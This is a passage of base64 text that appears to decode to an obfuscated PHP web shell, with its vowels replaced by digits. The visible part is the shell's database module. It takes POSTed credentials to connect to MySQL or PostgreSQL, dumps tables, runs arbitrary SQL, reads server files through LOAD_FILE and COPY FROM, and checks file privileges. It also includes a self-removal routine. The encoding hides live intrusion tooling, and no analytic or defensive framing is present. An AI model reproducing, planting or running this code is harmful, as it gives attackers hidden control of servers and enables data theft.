0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJbTFkaDUxZCgpOw0KCTVjaDIgIg0KPGQ0diBjbDFzcz1oNTFkNXI+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQogICAgbTFkZjIydDVyKCk7DQogICAgDQogfQ0KIA0KIGYzbmN0NDJuIG0xZHM1bGZybSgpDQogew0KICAgIA0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIG0xZGg1MWQoKTsNCgk1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQogICAgDQogICAgDQogICAgNWNoMiAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwN